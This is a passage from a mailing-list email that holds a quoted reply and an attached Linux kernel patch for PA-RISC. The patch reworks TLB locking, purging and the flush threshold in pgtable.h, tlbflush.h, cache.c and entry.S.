>>  	parisc_cache_flush_threshold =3D size * alltime / rangetime;
>>=20
>> -	parisc_cache_flush_threshold =3D (parisc_cache_flush_threshold + =
L1_CACHE_BYTES - 1) &~ (L1_CACHE_BYTES - 1);
>> +	parisc_cache_flush_threshold =3D =
L1_CACHE_ALIGN(parisc_cache_flush_threshold);
>>  	if (!parisc_cache_flush_threshold)
>>  		parisc_cache_flush_threshold =3D FLUSH_THRESHOLD;
>>=20
>>  	if (parisc_cache_flush_threshold > cache_info.dc_size)
>>  		parisc_cache_flush_threshold =3D cache_info.dc_size;
>>=20
>> -	printk(KERN_INFO "Setting cache flush threshold to %x (%d CPUs =
online)\n", parisc_cache_flush_threshold, num_online_cpus());
>> +	printk(KERN_INFO "Setting cache flush threshold to %lu kB\n",
>> +		parisc_cache_flush_threshold/1024);
>> +
>> +	/* calculate TLB flush threshold */
>> +
>> +	alltime =3D mfctl(16);
>> +	flush_tlb_all();
>> +	alltime =3D mfctl(16) - alltime;
>> +
>> +	size =3D PAGE_SIZE;
>> +	start =3D (unsigned long) _text;
>> +	rangetime =3D mfctl(16);
>> +	while (start < (unsigned long) _end) {
>> +		flush_tlb_kernel_range(start, start + PAGE_SIZE);
>> +		start +=3D PAGE_SIZE;
>> +		size +=3D PAGE_SIZE;
>> +	}
>> +	rangetime =3D mfctl(16) - rangetime;
>> +
>> +	printk(KERN_DEBUG "Whole TLB flush %lu cycles, flushing %lu =
bytes %lu cycles\n",
>> +		alltime, size, rangetime);
>> +
>> +	parisc_tlb_flush_threshold =3D size * alltime / rangetime;
>> +	parisc_tlb_flush_threshold =3D =
PAGE_ALIGN(parisc_tlb_flush_threshold);
>> +	if (!parisc_tlb_flush_threshold)
>> +		parisc_tlb_flush_threshold =3D FLUSH_TLB_THRESHOLD;
>> +
>> +	printk(KERN_INFO "Setting TLB flush threshold to %lu kB\n",
>> +		parisc_tlb_flush_threshold/1024);
>>  }
>>=20
>>  extern void purge_kernel_dcache_page_asm(unsigned long);
>> @@ -418,32 +449,39 @@ void purge_tlb_entries(struct mm_struct *mm, =
unsigned long addr)
>>  }
>>  EXPORT_SYMBOL(purge_tlb_entries);
>>=20
>> -void __flush_tlb_range(unsigned long sid, unsigned long start,
>> +/* __flush_tlb_range()
>> + *
>> + * returns 1 if all TLBs were flushed.
>> + */
>> +int __flush_tlb_range(unsigned long sid, unsigned long start,
>>  		       unsigned long end)
>>  {
>> -	unsigned long npages;
>> +	unsigned long size;
>>=20
>> -	npages =3D ((end - (start & PAGE_MASK)) + (PAGE_SIZE - 1)) >> =
PAGE_SHIFT;
>> -	if (npages >=3D 512)  /* 2MB of space: arbitrary, should be =
tuned */
>> +	size =3D (end - start);
>> +	if (size >=3D parisc_tlb_flush_threshold) {
>>  		flush_tlb_all();
>> +		return 1;
>> +	}
>>  	else {
>>  		unsigned long flags;
>>=20
>>  		purge_tlb_start(flags);
>>  		mtsp(sid, 1);
>>  		if (split_tlb) {
>> - 	 		while (npages--) {
>> +			while (start < end) {
>>  				pdtlb(start);
>>  				pitlb(start);
>>  				start +=3D PAGE_SIZE;
>>  			}
>>  		} else {
>> -			while (npages--) {
>> +			while (start < end) {
>>  				pdtlb(start);
>>  				start +=3D PAGE_SIZE;
>>  			}
>>  		}
>>  		purge_tlb_end(flags);
>> +		return 0;
>>  	}
>>  }
>>=20
>>=20
>=20
>=20




--Apple-Mail-81-64300394
Content-Disposition: attachment; filename="linux-4.1.1-20150701.d.txt"
Content-Type: text/plain; name="linux-4.1.1-20150701.d.txt"
Content-Transfer-Encoding: quoted-printable

diff --git a/arch/parisc/include/asm/pgtable.h =
b/arch/parisc/include/asm/pgtable.h
index 0a18375..0656235 100644
--- a/arch/parisc/include/asm/pgtable.h
+++ b/arch/parisc/include/asm/pgtable.h
@@ -16,7 +16,7 @@
 #include <asm/processor.h>
 #include <asm/cache.h>
=20
-extern spinlock_t pa_dbit_lock;
+extern spinlock_t pa_tlb_lock;
=20
 /*
  * kern_addr_valid(ADDR) tests if ADDR is pointing to valid kernel
@@ -33,6 +33,19 @@ extern spinlock_t pa_dbit_lock;
  */
 #define kern_addr_valid(addr)	(1)
=20
+/* Purge data and instruction TLB entries.  Must be called holding
+ * the pa_tlb_lock.  The TLB purge instructions are slow on SMP
+ * machines since the purge must be broadcast to all CPUs.
+ */
+
+static inline void purge_tlb_entries(struct mm_struct *mm, unsigned =
long addr)
+{
+	mtsp(mm->context, 1);
+	pdtlb(addr);
+	if (unlikely(split_tlb))
+		pitlb(addr);
+}
+
 /* Certain architectures need to do special things when PTEs
  * within a page table are directly modified.  Thus, the following
  * hook is made available.
@@ -42,15 +55,20 @@ extern spinlock_t pa_dbit_lock;
                 *(pteptr) =3D (pteval);                           \
         } while(0)
=20
-extern void purge_tlb_entries(struct mm_struct *, unsigned long);
+#define pte_inserted(x)						=
\
+	((pte_val(x) & (_PAGE_PRESENT|_PAGE_ACCESSED))		\
+	 =3D=3D (_PAGE_PRESENT|_PAGE_ACCESSED))
=20
-#define set_pte_at(mm, addr, ptep, pteval)                      \
-	do {                                                    \
+#define set_pte_at(mm, addr, ptep, pteval)			\
+	do {							\
+		pte_t old_pte;					\
 		unsigned long flags;				\
-		spin_lock_irqsave(&pa_dbit_lock, flags);	\
-		set_pte(ptep, pteval);                          \
-		purge_tlb_entries(mm, addr);                    \
-		spin_unlock_irqrestore(&pa_dbit_lock, flags);	\
+		spin_lock_irqsave(&pa_tlb_lock, flags);		\
+		old_pte =3D *ptep;				\
+		set_pte(ptep, pteval);				\
+		if (pte_inserted(old_pte))			\
+			purge_tlb_entries(mm, addr);		\
+		spin_unlock_irqrestore(&pa_tlb_lock, flags);	\
 	} while (0)
=20
 #endif /* !__ASSEMBLY__ */
@@ -268,7 +286,7 @@ extern unsigned long *empty_zero_page;
=20
 #define pte_none(x)     (pte_val(x) =3D=3D 0)
 #define pte_present(x)	(pte_val(x) & _PAGE_PRESENT)
-#define pte_clear(mm,addr,xp)	do { pte_val(*(xp)) =3D 0; } while (0)
+#define pte_clear(mm,addr,xp)	set_pte_at(mm, addr, xp, __pte(0))
=20
 #define pmd_flag(x)	(pmd_val(x) & PxD_FLAG_MASK)
 #define pmd_address(x)	((unsigned long)(pmd_val(x) &~ PxD_FLAG_MASK) << =
PxD_VALUE_SHIFT)
@@ -435,15 +453,15 @@ static inline int ptep_test_and_clear_young(struct =
vm_area_struct *vma, unsigned
 	if (!pte_young(*ptep))
 		return 0;
=20
-	spin_lock_irqsave(&pa_dbit_lock, flags);
+	spin_lock_irqsave(&pa_tlb_lock, flags);
 	pte =3D *ptep;
 	if (!pte_young(pte)) {
-		spin_unlock_irqrestore(&pa_dbit_lock, flags);
+		spin_unlock_irqrestore(&pa_tlb_lock, flags);
 		return 0;
 	}
 	set_pte(ptep, pte_mkold(pte));
 	purge_tlb_entries(vma->vm_mm, addr);
-	spin_unlock_irqrestore(&pa_dbit_lock, flags);
+	spin_unlock_irqrestore(&pa_tlb_lock, flags);
 	return 1;
 }
=20
@@ -453,11 +471,12 @@ static inline pte_t ptep_get_and_clear(struct =
mm_struct *mm, unsigned long addr,
 	pte_t old_pte;
 	unsigned long flags;
=20
-	spin_lock_irqsave(&pa_dbit_lock, flags);
+	spin_lock_irqsave(&pa_tlb_lock, flags);
 	old_pte =3D *ptep;
-	pte_clear(mm,addr,ptep);
-	purge_tlb_entries(mm, addr);
-	spin_unlock_irqrestore(&pa_dbit_lock, flags);
+	set_pte(ptep, __pte(0));
+	if (pte_inserted(old_pte))
+		purge_tlb_entries(mm, addr);
+	spin_unlock_irqrestore(&pa_tlb_lock, flags);
=20
 	return old_pte;
 }
@@ -465,10 +484,10 @@ static inline pte_t ptep_get_and_clear(struct =
mm_struct *mm, unsigned long addr,
 static inline void ptep_set_wrprotect(struct mm_struct *mm, unsigned =
long addr, pte_t *ptep)
 {
 	unsigned long flags;
-	spin_lock_irqsave(&pa_dbit_lock, flags);
+	spin_lock_irqsave(&pa_tlb_lock, flags);
 	set_pte(ptep, pte_wrprotect(*ptep));
 	purge_tlb_entries(mm, addr);
-	spin_unlock_irqrestore(&pa_dbit_lock, flags);
+	spin_unlock_irqrestore(&pa_tlb_lock, flags);
 }
=20
 #define pte_same(A,B)	(pte_val(A) =3D=3D pte_val(B))
diff --git a/arch/parisc/include/asm/tlbflush.h =
b/arch/parisc/include/asm/tlbflush.h
index 9d086a5..e84b964 100644
--- a/arch/parisc/include/asm/tlbflush.h
+++ b/arch/parisc/include/asm/tlbflush.h
@@ -13,6 +13,9 @@
  * active at any one time on the Merced bus.  This tlb purge
  * synchronisation is fairly lightweight and harmless so we activate
  * it on all systems not just the N class.
+
+ * It is also used to ensure PTE updates are atomic and consistent
+ * with the TLB.
  */
 extern spinlock_t pa_tlb_lock;
=20
@@ -24,20 +27,24 @@ extern void flush_tlb_all_local(void *);
=20
 #define smp_flush_tlb_all()	flush_tlb_all()
=20
+int __flush_tlb_range(unsigned long sid,
+	unsigned long start, unsigned long end);
+
+#define flush_tlb_range(vma, start, end) \
+	__flush_tlb_range((vma)->vm_mm->context, start, end)
+
+#define flush_tlb_kernel_range(start, end) \
+	__flush_tlb_range(0, start, end)
+
 /*
  * flush_tlb_mm()
  *
- * XXX This code is NOT valid for HP-UX compatibility processes,
- * (although it will probably work 99% of the time). HP-UX
- * processes are free to play with the space id's and save them
- * over long periods of time, etc. so we have to preserve the
- * space and just flush the entire tlb. We need to check the
- * personality in order to do that, but the personality is not
- * currently being set correctly.
- *
- * Of course, Linux processes could do the same thing, but
- * we don't support that (and the compilers, dynamic linker,
- * etc. do not do that).
+ * The code to switch to a new context is NOT valid for processes
+ * which play with the space id's.  Thus, we have to preserve the
+ * space and just flush the entire tlb.  However, the compilers,
+ * dynamic linker, etc, do not manipulate space id's, so there
+ * could be a significant performance benefit in switching contexts
+ * and not flushing the whole tlb.
  */
=20
 static inline void flush_tlb_mm(struct mm_struct *mm)
@@ -45,10 +52,18 @@ static inline void flush_tlb_mm(struct mm_struct =
*mm)
 	BUG_ON(mm =3D=3D &init_mm); /* Should never happen */
=20
 #if 1 || defined(CONFIG_SMP)
+	/* Except for very small threads, flushing the whole TLB is
+	 * faster than using __flush_tlb_range.  The pdtlb and pitlb
+	 * instructions are very slow because of the TLB broadcast.
+	 * It might be faster to do local range flushes on all CPUs
+	 * on PA 2.0 systems.
+	 */
 	flush_tlb_all();
 #else
 	/* FIXME: currently broken, causing space id and protection ids
-	 *  to go out of sync, resulting in faults on userspace =
accesses.
+	 * to go out of sync, resulting in faults on userspace accesses.
+	 * This approach needs further investigation since running many
+	 * small applications (e.g., GCC testsuite) is faster on HP-UX.
 	 */
 	if (mm) {
 		if (mm->context !=3D 0)
@@ -65,22 +80,12 @@ static inline void flush_tlb_page(struct =
vm_area_struct *vma,
 {
 	unsigned long flags, sid;
=20
-	/* For one page, it's not worth testing the split_tlb variable =
*/
-
-	mb();
 	sid =3D vma->vm_mm->context;
 	purge_tlb_start(flags);
 	mtsp(sid, 1);
 	pdtlb(addr);
-	pitlb(addr);
+	if (unlikely(split_tlb))
+		pitlb(addr);
 	purge_tlb_end(flags);
 }
-
-void __flush_tlb_range(unsigned long sid,
-	unsigned long start, unsigned long end);
-
-#define flush_tlb_range(vma,start,end) =
__flush_tlb_range((vma)->vm_mm->context,start,end)
-
-#define flush_tlb_kernel_range(start, end) =
__flush_tlb_range(0,start,end)
-
 #endif
diff --git a/arch/parisc/kernel/cache.c b/arch/parisc/kernel/cache.c
index f6448c7..cda6dbb 100644
--- a/arch/parisc/kernel/cache.c
+++ b/arch/parisc/kernel/cache.c
@@ -342,12 +342,15 @@ EXPORT_SYMBOL(flush_data_cache_local);
 EXPORT_SYMBOL(flush_kernel_icache_range_asm);
=20
 #define FLUSH_THRESHOLD 0x80000 /* 0.5MB */
-int parisc_cache_flush_threshold __read_mostly =3D FLUSH_THRESHOLD;
+static unsigned long parisc_cache_flush_threshold __read_mostly =3D =
FLUSH_THRESHOLD;
+
+#define FLUSH_TLB_THRESHOLD (2*1024*1024) /* 2MB initial TLB threshold =
*/
+static unsigned long parisc_tlb_flush_threshold __read_mostly =3D =
FLUSH_TLB_THRESHOLD;
=20
 void __init parisc_setup_cache_timing(void)
 {
 	unsigned long rangetime, alltime;
-	unsigned long size;
+	unsigned long size, start;
=20
 	alltime =3D mfctl(16);
 	flush_data_cache();
@@ -364,14 +367,43 @@ void __init parisc_setup_cache_timing(void)
 	/* Racy, but if we see an intermediate value, it's ok too... */
 	parisc_cache_flush_threshold =3D size * alltime / rangetime;
=20
-	parisc_cache_flush_threshold =3D (parisc_cache_flush_threshold + =
L1_CACHE_BYTES - 1) &~ (L1_CACHE_BYTES - 1);=20
+	parisc_cache_flush_threshold =3D =
L1_CACHE_ALIGN(parisc_cache_flush_threshold);
 	if (!parisc_cache_flush_threshold)
 		parisc_cache_flush_threshold =3D FLUSH_THRESHOLD;
=20
 	if (parisc_cache_flush_threshold > cache_info.dc_size)
 		parisc_cache_flush_threshold =3D cache_info.dc_size;
=20
-	printk(KERN_INFO "Setting cache flush threshold to %x (%d CPUs =
online)\n", parisc_cache_flush_threshold, num_online_cpus());
+	printk(KERN_INFO "Setting cache flush threshold to %lu kB\n",
+		parisc_cache_flush_threshold/1024);
+
+	/* calculate TLB flush threshold */
+
+	alltime =3D mfctl(16);
+	flush_tlb_all();
+	alltime =3D mfctl(16) - alltime;
+
+	size =3D PAGE_SIZE;
+	start =3D (unsigned long) _text;
+	rangetime =3D mfctl(16);
+	while (start < (unsigned long) _end) {
+		flush_tlb_kernel_range(start, start + PAGE_SIZE);
+		start +=3D PAGE_SIZE;
+		size +=3D PAGE_SIZE;
+	}
+	rangetime =3D mfctl(16) - rangetime;
+
+	printk(KERN_DEBUG "Whole TLB flush %lu cycles, flushing %lu =
bytes %lu cycles\n",
+		alltime, size, rangetime);
+
+	parisc_tlb_flush_threshold =3D size * alltime / rangetime;
+	parisc_tlb_flush_threshold *=3D num_online_cpus();
+	parisc_tlb_flush_threshold =3D =
PAGE_ALIGN(parisc_tlb_flush_threshold);
+	if (!parisc_tlb_flush_threshold)
+		parisc_tlb_flush_threshold =3D FLUSH_TLB_THRESHOLD;
+
+	printk(KERN_INFO "Setting TLB flush threshold to %lu kB\n",
+		parisc_tlb_flush_threshold/1024);
 }
=20
 extern void purge_kernel_dcache_page_asm(unsigned long);
@@ -403,48 +435,45 @@ void copy_user_page(void *vto, void *vfrom, =
unsigned long vaddr,
 }
 EXPORT_SYMBOL(copy_user_page);
=20
-void purge_tlb_entries(struct mm_struct *mm, unsigned long addr)
-{
-	unsigned long flags;
-
-	/* Note: purge_tlb_entries can be called at startup with
-	   no context.  */
-
-	purge_tlb_start(flags);
-	mtsp(mm->context, 1);
-	pdtlb(addr);
-	pitlb(addr);
-	purge_tlb_end(flags);
-}
-EXPORT_SYMBOL(purge_tlb_entries);
-
-void __flush_tlb_range(unsigned long sid, unsigned long start,
-		       unsigned long end)
+/* __flush_tlb_range()
+ *
+ * returns 1 if all TLBs were flushed.
+ */
+int __flush_tlb_range(unsigned long sid, unsigned long start,
+		      unsigned long end)
 {
-	unsigned long npages;
+	unsigned long flags, size;
=20
-	npages =3D ((end - (start & PAGE_MASK)) + (PAGE_SIZE - 1)) >> =
PAGE_SHIFT;
-	if (npages >=3D 512)  /* 2MB of space: arbitrary, should be =
tuned */
+	size =3D (end - start);
+	if (size >=3D parisc_tlb_flush_threshold) {
 		flush_tlb_all();
-	else {
-		unsigned long flags;
+		return 1;
+	}
=20
+	/* Purge TLB entries for small ranges using the pdtlb and
+	   pitlb instructions.  These instructions execute locally
+	   but cause a purge request to be broadcast to other TLBs.  */
+	if (likely(!split_tlb)) {
+		while (start < end) {
+			purge_tlb_start(flags);
+			mtsp(sid, 1);
+			pdtlb(start);
+			purge_tlb_end(flags);
+			start +=3D PAGE_SIZE;
+		}
+		return 0;
+	}
+
+	/* split TLB case */
+	while (start < end) {
 		purge_tlb_start(flags);
 		mtsp(sid, 1);
-		if (split_tlb) {
-			while (npages--) {
-				pdtlb(start);
-				pitlb(start);
-				start +=3D PAGE_SIZE;
-			}
-		} else {
-			while (npages--) {
-				pdtlb(start);
-				start +=3D PAGE_SIZE;
-			}
-		}
+		pdtlb(start);
+		pitlb(start);
 		purge_tlb_end(flags);
+		start +=3D PAGE_SIZE;
 	}
+	return 0;
 }
=20
 static void cacheflush_h_tmp_function(void *dummy)
diff --git a/arch/parisc/kernel/entry.S b/arch/parisc/kernel/entry.S
index 7581961..1c14e51 100644
--- a/arch/parisc/kernel/entry.S
+++ b/arch/parisc/kernel/entry.S
@@ -45,7 +45,7 @@
 	.level 2.0
 #endif
=20
-	.import         pa_dbit_lock,data
+	.import         pa_tlb_lock,data
=20
 	/* space_to_prot macro creates a prot id from a space id */
=20
@@ -420,8 +420,8 @@
 	SHLREG		%r9,PxD_VALUE_SHIFT,\pmd
 	extru		\va,31-PAGE_SHIFT,ASM_BITS_PER_PTE,\index
 	dep		%r0,31,PAGE_SHIFT,\pmd  /* clear offset */
-	shladd		\index,BITS_PER_PTE_ENTRY,\pmd,\pmd
-	LDREG		%r0(\pmd),\pte		/* pmd is now pte */
+	shladd		\index,BITS_PER_PTE_ENTRY,\pmd,\pmd /* pmd is =
now pte */
+	LDREG		%r0(\pmd),\pte
 	bb,>=3D,n		\pte,_PAGE_PRESENT_BIT,\fault
 	.endm
=20
@@ -453,57 +453,53 @@
 	L2_ptep		\pgd,\pte,\index,\va,\fault
 	.endm
=20
-	/* Acquire pa_dbit_lock lock. */
-	.macro		dbit_lock	spc,tmp,tmp1
+	/* Acquire pa_tlb_lock lock and recheck page is still present. =
*/
+	.macro		tlb_lock	spc,ptp,pte,tmp,tmp1,fault
 #ifdef CONFIG_SMP
 	cmpib,COND(=3D),n	0,\spc,2f
-	load32		PA(pa_dbit_lock),\tmp
+	load32		PA(pa_tlb_lock),\tmp
 1:	LDCW		0(\tmp),\tmp1
 	cmpib,COND(=3D)	0,\tmp1,1b
 	nop
+	LDREG		0(\ptp),\pte
+	bb,<,n		\pte,_PAGE_PRESENT_BIT,2f
+	b		\fault
+	stw             \spc,0(\tmp)
 2:
 #endif
 	.endm
=20
-	/* Release pa_dbit_lock lock without reloading lock address. */
-	.macro		dbit_unlock0	spc,tmp
+	/* Release pa_tlb_lock lock without reloading lock address. */
+	.macro		tlb_unlock0	spc,tmp
 #ifdef CONFIG_SMP
 	or,COND(=3D)	%r0,\spc,%r0
 	stw             \spc,0(\tmp)
 #endif
 	.endm
=20
-	/* Release pa_dbit_lock lock. */
-	.macro		dbit_unlock1	spc,tmp
+	/* Release pa_tlb_lock lock. */
+	.macro		tlb_unlock1	spc,tmp
 #ifdef CONFIG_SMP
-	load32		PA(pa_dbit_lock),\tmp
-	dbit_unlock0	\spc,\tmp
+	load32		PA(pa_tlb_lock),\tmp
+	tlb_unlock0	\spc,\tmp
 #endif
 	.endm
=20
 	/* Set the _PAGE_ACCESSED bit of the PTE.  Be clever and
 	 * don't needlessly dirty the cache line if it was already set =
*/
-	.macro		update_ptep	spc,ptep,pte,tmp,tmp1
-#ifdef CONFIG_SMP
-	or,COND(=3D)	%r0,\spc,%r0
-	LDREG		0(\ptep),\pte
-#endif
+	.macro		update_accessed	ptp,pte,tmp,tmp1
 	ldi		_PAGE_ACCESSED,\tmp1
 	or		\tmp1,\pte,\tmp
 	and,COND(<>)	\tmp1,\pte,%r0
-	STREG		\tmp,0(\ptep)
+	STREG		\tmp,0(\ptp)
 	.endm
=20
 	/* Set the dirty bit (and accessed bit).  No need to be
 	 * clever, this is only used from the dirty fault */
-	.macro		update_dirty	spc,ptep,pte,tmp
-#ifdef CONFIG_SMP
-	or,COND(=3D)	%r0,\spc,%r0
-	LDREG		0(\ptep),\pte
-#endif
+	.macro		update_dirty	ptp,pte,tmp
 	ldi		_PAGE_ACCESSED|_PAGE_DIRTY,\tmp
 	or		\tmp,\pte,\pte
-	STREG		\pte,0(\ptep)
+	STREG		\pte,0(\ptp)
 	.endm
=20
 	/* bitshift difference between a PFN (based on kernel's =
PAGE_SIZE)
@@ -1148,14 +1144,14 @@ dtlb_miss_20w:
=20
 	L3_ptep		ptp,pte,t0,va,dtlb_check_alias_20w
=20
-	dbit_lock	spc,t0,t1
-	update_ptep	spc,ptp,pte,t0,t1
+	tlb_lock	spc,ptp,pte,t0,t1,dtlb_check_alias_20w
+	update_accessed	ptp,pte,t0,t1
=20
 	make_insert_tlb	spc,pte,prot
 =09
 	idtlbt          pte,prot
-	dbit_unlock1	spc,t0
=20
+	tlb_unlock1	spc,t0
 	rfir
 	nop
=20
@@ -1174,14 +1170,14 @@ nadtlb_miss_20w:
=20
 	L3_ptep		ptp,pte,t0,va,nadtlb_check_alias_20w
=20
-	dbit_lock	spc,t0,t1
-	update_ptep	spc,ptp,pte,t0,t1
+	tlb_lock	spc,ptp,pte,t0,t1,nadtlb_check_alias_20w
+	update_accessed	ptp,pte,t0,t1
=20
 	make_insert_tlb	spc,pte,prot
=20
 	idtlbt          pte,prot
-	dbit_unlock1	spc,t0
=20
+	tlb_unlock1	spc,t0
 	rfir
 	nop
=20
@@ -1202,20 +1198,20 @@ dtlb_miss_11:
=20
 	L2_ptep		ptp,pte,t0,va,dtlb_check_alias_11
=20
-	dbit_lock	spc,t0,t1
-	update_ptep	spc,ptp,pte,t0,t1
+	tlb_lock	spc,ptp,pte,t0,t1,dtlb_check_alias_11
+	update_accessed	ptp,pte,t0,t1
=20
 	make_insert_tlb_11	spc,pte,prot
=20
-	mfsp		%sr1,t0  /* Save sr1 so we can use it in tlb =
inserts */
+	mfsp		%sr1,t1  /* Save sr1 so we can use it in tlb =
inserts */
 	mtsp		spc,%sr1
=20
 	idtlba		pte,(%sr1,va)
 	idtlbp		prot,(%sr1,va)
=20
-	mtsp		t0, %sr1	/* Restore sr1 */
-	dbit_unlock1	spc,t0
+	mtsp		t1, %sr1	/* Restore sr1 */
=20
+	tlb_unlock1	spc,t0
 	rfir
 	nop
=20
@@ -1235,21 +1231,20 @@ nadtlb_miss_11:
=20
 	L2_ptep		ptp,pte,t0,va,nadtlb_check_alias_11
=20
-	dbit_lock	spc,t0,t1
-	update_ptep	spc,ptp,pte,t0,t1
+	tlb_lock	spc,ptp,pte,t0,t1,nadtlb_check_alias_11
+	update_accessed	ptp,pte,t0,t1
=20
 	make_insert_tlb_11	spc,pte,prot
=20
-
-	mfsp		%sr1,t0  /* Save sr1 so we can use it in tlb =
inserts */
+	mfsp		%sr1,t1  /* Save sr1 so we can use it in tlb =
inserts */
 	mtsp		spc,%sr1
=20
 	idtlba		pte,(%sr1,va)
 	idtlbp		prot,(%sr1,va)
=20
-	mtsp		t0, %sr1	/* Restore sr1 */
-	dbit_unlock1	spc,t0
+	mtsp		t1, %sr1	/* Restore sr1 */
=20
+	tlb_unlock1	spc,t0
 	rfir
 	nop
=20
@@ -1269,16 +1264,16 @@ dtlb_miss_20:
=20
 	L2_ptep		ptp,pte,t0,va,dtlb_check_alias_20
=20
-	dbit_lock	spc,t0,t1
-	update_ptep	spc,ptp,pte,t0,t1
+	tlb_lock	spc,ptp,pte,t0,t1,dtlb_check_alias_20
+	update_accessed	ptp,pte,t0,t1
=20
 	make_insert_tlb	spc,pte,prot
=20
-	f_extend	pte,t0
+	f_extend	pte,t1
=20
 	idtlbt          pte,prot
-	dbit_unlock1	spc,t0
=20
+	tlb_unlock1	spc,t0
 	rfir
 	nop
=20
@@ -1297,16 +1292,16 @@ nadtlb_miss_20:
=20
 	L2_ptep		ptp,pte,t0,va,nadtlb_check_alias_20
=20
-	dbit_lock	spc,t0,t1
-	update_ptep	spc,ptp,pte,t0,t1
+	tlb_lock	spc,ptp,pte,t0,t1,nadtlb_check_alias_20
+	update_accessed	ptp,pte,t0,t1
=20
 	make_insert_tlb	spc,pte,prot
=20
-	f_extend	pte,t0
+	f_extend	pte,t1
 =09
-        idtlbt          pte,prot
-	dbit_unlock1	spc,t0
+	idtlbt          pte,prot
=20
+	tlb_unlock1	spc,t0
 	rfir
 	nop
=20
@@ -1406,14 +1401,14 @@ itlb_miss_20w:
=20
 	L3_ptep		ptp,pte,t0,va,itlb_fault
=20
-	dbit_lock	spc,t0,t1
-	update_ptep	spc,ptp,pte,t0,t1
+	tlb_lock	spc,ptp,pte,t0,t1,itlb_fault
+	update_accessed	ptp,pte,t0,t1
=20
 	make_insert_tlb	spc,pte,prot
 =09
 	iitlbt          pte,prot
-	dbit_unlock1	spc,t0
=20
+	tlb_unlock1	spc,t0
 	rfir
 	nop
=20
@@ -1430,14 +1425,14 @@ naitlb_miss_20w:
=20
 	L3_ptep		ptp,pte,t0,va,naitlb_check_alias_20w
=20
-	dbit_lock	spc,t0,t1
-	update_ptep	spc,ptp,pte,t0,t1
+	tlb_lock	spc,ptp,pte,t0,t1,naitlb_check_alias_20w
+	update_accessed	ptp,pte,t0,t1
=20
 	make_insert_tlb	spc,pte,prot
=20
 	iitlbt          pte,prot
-	dbit_unlock1	spc,t0
=20
+	tlb_unlock1	spc,t0
 	rfir
 	nop
=20
@@ -1458,20 +1453,20 @@ itlb_miss_11:
=20
 	L2_ptep		ptp,pte,t0,va,itlb_fault
=20
-	dbit_lock	spc,t0,t1
-	update_ptep	spc,ptp,pte,t0,t1
+	tlb_lock	spc,ptp,pte,t0,t1,itlb_fault
+	update_accessed	ptp,pte,t0,t1
=20
 	make_insert_tlb_11	spc,pte,prot
=20
-	mfsp		%sr1,t0  /* Save sr1 so we can use it in tlb =
inserts */
+	mfsp		%sr1,t1  /* Save sr1 so we can use it in tlb =
inserts */
 	mtsp		spc,%sr1
=20
 	iitlba		pte,(%sr1,va)
 	iitlbp		prot,(%sr1,va)
=20
-	mtsp		t0, %sr1	/* Restore sr1 */
-	dbit_unlock1	spc,t0
+	mtsp		t1, %sr1	/* Restore sr1 */
=20
+	tlb_unlock1	spc,t0
 	rfir
 	nop
=20
@@ -1482,20 +1477,20 @@ naitlb_miss_11:
=20
 	L2_ptep		ptp,pte,t0,va,naitlb_check_alias_11
=20
-	dbit_lock	spc,t0,t1
-	update_ptep	spc,ptp,pte,t0,t1
+	tlb_lock	spc,ptp,pte,t0,t1,naitlb_check_alias_11
+	update_accessed	ptp,pte,t0,t1
=20
 	make_insert_tlb_11	spc,pte,prot
=20
-	mfsp		%sr1,t0  /* Save sr1 so we can use it in tlb =
inserts */
+	mfsp		%sr1,t1  /* Save sr1 so we can use it in tlb =
inserts */
 	mtsp		spc,%sr1
=20
 	iitlba		pte,(%sr1,va)
 	iitlbp		prot,(%sr1,va)
=20
-	mtsp		t0, %sr1	/* Restore sr1 */
-	dbit_unlock1	spc,t0
+	mtsp		t1, %sr1	/* Restore sr1 */
=20
+	tlb_unlock1	spc,t0
 	rfir
 	nop
=20
@@ -1516,16 +1511,16 @@ itlb_miss_20:
=20
 	L2_ptep		ptp,pte,t0,va,itlb_fault
=20
-	dbit_lock	spc,t0,t1
-	update_ptep	spc,ptp,pte,t0,t1
+	tlb_lock	spc,ptp,pte,t0,t1,itlb_fault
+	update_accessed	ptp,pte,t0,t1
=20
 	make_insert_tlb	spc,pte,prot
=20
-	f_extend	pte,t0=09
+	f_extend	pte,t1=09
=20
 	iitlbt          pte,prot
-	dbit_unlock1	spc,t0
=20
+	tlb_unlock1	spc,t0
 	rfir
 	nop
=20
@@ -1536,16 +1531,16 @@ naitlb_miss_20:
=20
 	L2_ptep		ptp,pte,t0,va,naitlb_check_alias_20
=20
-	dbit_lock	spc,t0,t1
-	update_ptep	spc,ptp,pte,t0,t1
+	tlb_lock	spc,ptp,pte,t0,t1,naitlb_check_alias_20
+	update_accessed	ptp,pte,t0,t1
=20
 	make_insert_tlb	spc,pte,prot
=20
-	f_extend	pte,t0
+	f_extend	pte,t1
=20
 	iitlbt          pte,prot
-	dbit_unlock1	spc,t0
=20
+	tlb_unlock1	spc,t0
 	rfir
 	nop
=20
@@ -1568,14 +1563,14 @@ dbit_trap_20w:
=20
 	L3_ptep		ptp,pte,t0,va,dbit_fault
=20
-	dbit_lock	spc,t0,t1
-	update_dirty	spc,ptp,pte,t1
+	tlb_lock	spc,ptp,pte,t0,t1,dbit_fault
+	update_dirty	ptp,pte,t1
=20
 	make_insert_tlb	spc,pte,prot
 	=09
 	idtlbt          pte,prot
-	dbit_unlock0	spc,t0
=20
+	tlb_unlock0	spc,t0
 	rfir
 	nop
 #else
@@ -1588,8 +1583,8 @@ dbit_trap_11:
=20
 	L2_ptep		ptp,pte,t0,va,dbit_fault
=20
-	dbit_lock	spc,t0,t1
-	update_dirty	spc,ptp,pte,t1
+	tlb_lock	spc,ptp,pte,t0,t1,dbit_fault
+	update_dirty	ptp,pte,t1
=20
 	make_insert_tlb_11	spc,pte,prot
=20
@@ -1600,8 +1595,8 @@ dbit_trap_11:
 	idtlbp		prot,(%sr1,va)
=20
 	mtsp            t1, %sr1     /* Restore sr1 */
-	dbit_unlock0	spc,t0
=20
+	tlb_unlock0	spc,t0
 	rfir
 	nop
=20
@@ -1612,16 +1607,16 @@ dbit_trap_20:
=20
 	L2_ptep		ptp,pte,t0,va,dbit_fault
=20
-	dbit_lock	spc,t0,t1
-	update_dirty	spc,ptp,pte,t1
+	tlb_lock	spc,ptp,pte,t0,t1,dbit_fault
+	update_dirty	ptp,pte,t1
=20
 	make_insert_tlb	spc,pte,prot
=20
 	f_extend	pte,t1
 =09
-        idtlbt          pte,prot
-	dbit_unlock0	spc,t0
+	idtlbt          pte,prot
=20
+	tlb_unlock0	spc,t0
 	rfir
 	nop
 #endif
diff --git a/arch/parisc/kernel/traps.c b/arch/parisc/kernel/traps.c
index 47ee620..7f67c4c 100644
--- a/arch/parisc/kernel/traps.c
